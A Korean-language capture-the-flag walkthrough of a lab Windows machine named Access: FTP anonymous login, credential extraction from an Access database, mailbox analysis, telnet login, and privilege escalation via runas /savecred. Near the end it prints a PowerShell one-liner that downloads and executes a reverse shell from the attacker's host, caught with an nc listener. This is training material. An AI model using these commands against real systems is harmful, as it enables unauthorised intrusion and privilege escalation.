1. Recon
1.1. nmap
포트 스캔 결과 21, 23, 80번 포트가 개방돼 있다. 특이하게 23번 포트가 개방된 점을 주목할 필요가 있다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# nmap -sCV 10.129.55.63 --max-retries 1 --min-rate 5000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-06 14:49 +04
Nmap scan report for 10.129.55.63
Host is up (0.19s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anony mous FTP login allowed (FTP code 230)
|_Cant get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet Microsoft Windows XP telnetd
| telnet-ntlm-info:
| Target_Name: ACCESS
| NetBIOS_Domain_Name: ACCESS
| NetBIOS_Computer_Name: ACCESS
| DNS_Domain_Name: ACCESS
| DNS_Computer_Name: ACCESS
|_ Product_Version: 6.1.7600
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: MegaCorp
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: -39s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.48 seconds
1.2. ftp anonymous
nmap 스캔 당시 ftp 로 anonymous 계정에 대한 로그인이 된다고 나와 있다. 해당 계정으로 로그인 한다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# ftp 10.129.55.63
Connected to 10.129.55.63.
220 Microsoft FTP Service
Name (10.129.55.63:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>
데이터를 살펴보면 Backups 폴더와 Engineer 폴더 두 개가 있고, 내부에 각각 backup.mdb 파일과 AccessControl.zip 파일이 존재한다.
아래는 backuup.mdb 를 다운받는 과정이다.
ftp> ls
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 08:16PM <DIR> Backups
08-24-18 09:00PM <DIR> Engineer
226 Transfer complete.
ftp> cd Backups
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 08:16PM 5652480 backup.mdb
226 Transfer complete.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
200 PORT command successful.
125 Data connection already open; Transfer starting.
2% | | 164 KiB 164.74 KiB/s 00:32 ETAftp: Reading from network: Interrupted system call
0% | | -1 0.00 KiB/s --:-- ETA
550 The specified network name is no longer available.
WARNING! 68 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
아래는 Access Control.zip 를 다운받는 과정이다.
ftp> cd ..
250 CWD command successful.
ftp> cd Engineer
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18 12:16AM 10870 Access Control.zip
226 Transfer complete.
ftp> get "Access Control.zip"
local: Access Control.zip remote: Access Control.zip
200 PORT command successful.
125 Data connection already open; Transfer starting.
100% |************************************************| 10870 19.47 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 45 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
10870 bytes received in 00:00 (19.44 KiB/s)
ftp>
1.2.1. backup.mdb
해당 파일이 뭐하는 파일인지 몰라서 단순 cat 만을 이용해서 열었는데 특별한 소스는 찾을 수 없었다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# cat backup.mdb
Standard Jet DB�nb` �U��gr@?�~�����1�y��0��c��ßF���N&d�7��f�(��)�`�
{6U��kCo0�3��y[2*|*�|��s��Hbʃf_��Љ$�g�D���e���F�x
��-b�T4.0��Kpc���������������������������������������������������������������������������������������
▒Y�S
��
Y
Y Y
Y Y ▒
[...SNIP...]
1.2.2. Access Control.zip
해당 파일을 unzip 으로 열어 보려니까 되지 않았다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# unzip Access\ Control.zip
Archive: Access Control.zip
skipping: Access Control.pst unsupported compression method 99
7z 로 시도했을 때는 되기는 하는데 비밀번호를 요구해서 열지를 못했다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# 7z x Access\ Control.zip
7-Zip 24.09 (arm64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit arm_v:8-A locale=en_US.UTF-8 Threads:4 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)
Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870
Enter password (will not be echoed):
ERROR: Wrong password : Access Control.pst
Sub items Errors: 1
Archives with Errors: 1
Sub items Errors: 1
1.2.3. mdbtools
먼저 mdb 파일을 분석하기 위해 mdbtools 라는 것을 다운받았다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# apt install mdbtools
Installing:
mdbtools
Installing dependencies:
libmdb3t64 libmdbsql3t64
Summary:
Upgrading: 0, Installing: 3, Removing: 0, Not Upgrading: 1560
Download size: 132 kB
Space needed: 1,224 kB / 23.9 GB available
Continue? [Y/n] Y
Get:1 http://mirror.ourhost.az/kali kali-rolling/main arm64 libmdb3t64 arm64 1.0.1-0.1 [65.1 kB]
Get:2 http://mirror.ourhost.az/kali kali-rolling/main arm64 libmdbsql3t64 arm64 1.0.1-0.1 [17.2 kB]
Get:3 http://mirror.ourhost.az/kali kali-rolling/main arm64 mdbtools arm64 1.0.1-0.1 [49.4 kB]
Fetched 132 kB in 2s (67.2 kB/s)
Selecting previously unselected package libmdb3t64:arm64.
(Reading database ... 431954 files and directories currently installed.)
Preparing to unpack .../libmdb3t64_1.0.1-0.1_arm64.deb ...
Unpacking libmdb3t64:arm64 (1.0.1-0.1) ...
Selecting previously unselected package libmdbsql3t64:arm64.
Preparing to unpack .../libmdbsql3t64_1.0.1-0.1_arm64.deb ...
Unpacking libmdbsql3t64:arm64 (1.0.1-0.1) ...
Selecting previously unselected package mdbtools.
Preparing to unpack .../mdbtools_1.0.1-0.1_arm64.deb ...
Unpacking mdbtools (1.0.1-0.1) ...
Setting up libmdb3t64:arm64 (1.0.1-0.1) ...
Setting up libmdbsql3t64:arm64 (1.0.1-0.1) ...
Setting up mdbtools (1.0.1-0.1) ...
Processing triggers for libc-bin (2.41-6) ...
Processing triggers for man-db (2.13.1-1) ...
Processing triggers for kali-menu (2025.2.7) ...
그 다음에 mdb 와 관련된 것들을 확인해본 결과는 아래와 같다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mdb-
Completing external command
mdb-array mdb-export mdb-hexdump mdb-json mdb-prop mdb-schema mdb-tables
mdb-count mdb-header mdb-import mdb-parsecsv mdb-queries mdb-sql mdb-ver
1.3. mdb 파일 에러
하지만 mdb-tables 를 통해서 확인해보려고 하니까 뭐가 잘 안 된다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mdb-tables backup.mdb
offset 7585302654976 is beyond EOF
Unable to bind columns from table MSysObjects (17 columns found)
File does not appear to be an Access database
파일을 확인해보니 mdb 가 정상적으로 작동해야 하는 파일은 맞다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# file backup.mdb
backup.mdb: Microsoft Access Database
위에서 다시 ftp 로 다운받은 거를 확인해 보니 WARNING! 45 bare linefeeds received in ASCII mode. 라는 문구가 눈에 들어온다. 그냥 다운 받으면서 문제가 생긴 거 같다.
1.4. ftp 설정 변경 후 재 다운로드
그래서 ftp 로 다운 받을 때 모드를 binary 로 바꾼다. 그러고 명령어를 입력하면 이번에는 정상적으로 ftp 서비스가 돌아가지 않는 거를 볼 수 있다.
ftp> binary
200 Type set to I.
ftp> ls
229 Entering Extended Passive Mode (|||49157|)
^C
receive aborted. Waiting for remote to finish abort.
ftp>
모드를 passive 모드로 변경하면 다시 ftp 가 정상적으로 작동하는 것을 확인할 수 있다. 그리고 다운로드도 정상적으로 되는 모습을 확인할 수 있다.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
200 EPRT command successful.
125 Data connection already open; Transfer starting.
100% |****************************************************************************************************************| 5520 KiB 285.87 KiB/s 00:00 ETA
1.5. mdbtools 를 이용한 데이터 추출
정상적인 backup.mdb 파일을 mdb-tables 로 분석하면 아래와 같이 테이블 정보를 출력할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mdb-tables backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx
그 중에서 auth_user 테이블에 대해서 데이터를 mdb-export 로 추출하면 계정 정보를 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mdb-export backup.mdb auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
다음으로는 Access Control.zip 을 해제한다. 해당 파일은 engineer 디렉토리에서 가져왔고, 우리는 engineer 계정에 대한 비밀번호인 access4u@security 를 획득했으므로 압축 해제 시 요구하는 비밀번호를 다음과 같이 대입한다. 그리고 압축이 해제되는 것을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# 7z x Access\ Control.zip
7-Zip 24.09 (arm64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit arm_v:8-A locale=en_US.UTF-8 Threads:4 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)
Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870
Would you like to replace the existing file:
Path: ./Access Control.pst
Size: 0 bytes
Modified: 2018-08-24 04:13:52
with the file from archive:
Path: Access Control.pst
Size: 271360 bytes (265 KiB)
Modified: 2018-08-24 04:13:52
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? Y
Enter password (will not be echoed):
Everything is Ok
Size: 271360
Compressed: 10870
1.6. mail 확인
압축이 해제되면 Access Control.pst 라는 파일이 나온다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# ll
total 5800
-rw-r--r-- 1 root root 271360 Aug 24 2018 'Access Control.pst'
-rw-r--r-- 1 root root 10870 Aug 24 2018 'Access Control.zip'
-rw-r--r-- 1 root root 5652480 Aug 24 2018 backup.mdb
해당 파일은 Microsoft Outlook Personal Storage 의 파일이다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# file Access\ Control.pst
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
이 파일은 readpst 라는 프로그램에 의해서 읽을 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# readpst Access\ Control.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
"Access Control" - 2 items done, 0 items skipped.
readpst 로 해당 파일을 읽으면 메일 박스인 Access Control.mbox 파일이 생성되는 것을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# ll
total 5804
-rw-r--r-- 1 root root 3112 Jan 6 17:23 'Access Control.mbox'
-rw-r--r-- 1 root root 271360 Aug 24 2018 'Access Control.pst'
-rw-r--r-- 1 root root 10870 Aug 24 2018 'Access Control.zip'
-rw-r--r-- 1 root root 5652480 Aug 24 2018 backup.mdb
file 명령어로 해당 파일을 확인해 보면 아래와 같은 내용을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# file Access\ Control.mbox
Access Control.mbox: Mailbox text, 1st line "From "john@megacorp.com" Fri Aug 24 03:44:07 2018"
mutt 를 통해서 mbox 파일을 열었을 때는 아래와 같다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# mutt -Rf Access\ Control.mbox
메일을 열어보면 security 계정에 대해서 비밀번호가 아래와 같이 변경된 점을 확인할 수 있다.

1.7. telnet 접속
앞서 nmap 을 통해서 telnet 서비스를 제공하는 것을 확인할 수 있었다.
┌──(root㉿kali)-[/home/kali/labs/Access]
└─# telnet 10.129.55.63
Trying 10.129.55.63...
Connected to 10.129.55.63.
Escape character is '^]'.
Welcome to Microsoft Telnet Service
login: security
password:
*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security
그리고 user.txt 파일을 확인할 수 있다.
C:\Users\security>type C:\Users\security\Desktop\user.txt
The system cannot find the file specified.
Error occurred while processing: C:\Users\security\Desktop\user.tttype.
C:\Users\security\Desktop\user.txt
2. 권한 상승
2.1. ZKAccess3.5 Security System.lnk 분석
lnk 파일을 확인했을 때 흥미로운 내용이 관찰됐다. \Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred … 의 부분인데 여기서 savecred 에 대해서 주목할 필요가 있다.
runas 는 특정 계정으로 사용하고 있지는 않지만 내가 지정하는 계정의 권한으로 어떤 프로그램을 실행시키는 프로그램인데, /savecred 명령을 사용하면 시스템 내부에 비밀번호를 암호화 해서 저장을 해 두고, 나중에 다시 호출 시 비밀번호를 요구하지 않고 저장된 암호를 꺼내와서 사용한다.
본 예시에서 보면 administrator 계정에 대해서 /savecred 를 이용한 흔적이 있다. 즉, runas 를 실행시키면 자동으로 administrator 계정으로 돌아갈 것을 예측할 수 있다.
c:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
L�F�@ ��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows���:�▒M�:*wWindowsV1MV�System32���:�▒MV�*�System32▒X2P�:�
runas.exe���:1��:1�*Yrunas.exe▒L-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%�
�wN�▒�]N�D.��Q���`�Xaccess�_���8{E�3
O�j)�H���
)ΰ[�_���8{E�3
O�j)�H���
)ΰ[� ��1SPS��XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500
2.2. 리버스 쉘 맺기
그렇다면 리버스 쉘을 runas 를 통해 administrator 로 실행시키면 별도의 비밀번호는 묻지 않을 거고, 리버스 쉘은 administrator 계정의 권한으로 실행될 거니 root.txt 를 획득할 수 있을 것이다. 본 실습에서는 nishang 의 리버스 쉘을 사용했고, 해당 사용법은 Remote 문제 풀이에서 다루고 있다.
c:\Users\Public\Desktop>runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.143/shell.ps1')"
정상적으로 리버스 쉘이 맺어진 모습은 다음과 같다.
┌──(root㉿kali)-[/home/kali]
└─# rlwrap -cAr nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.55.63] 49158
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami
access\administrator
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt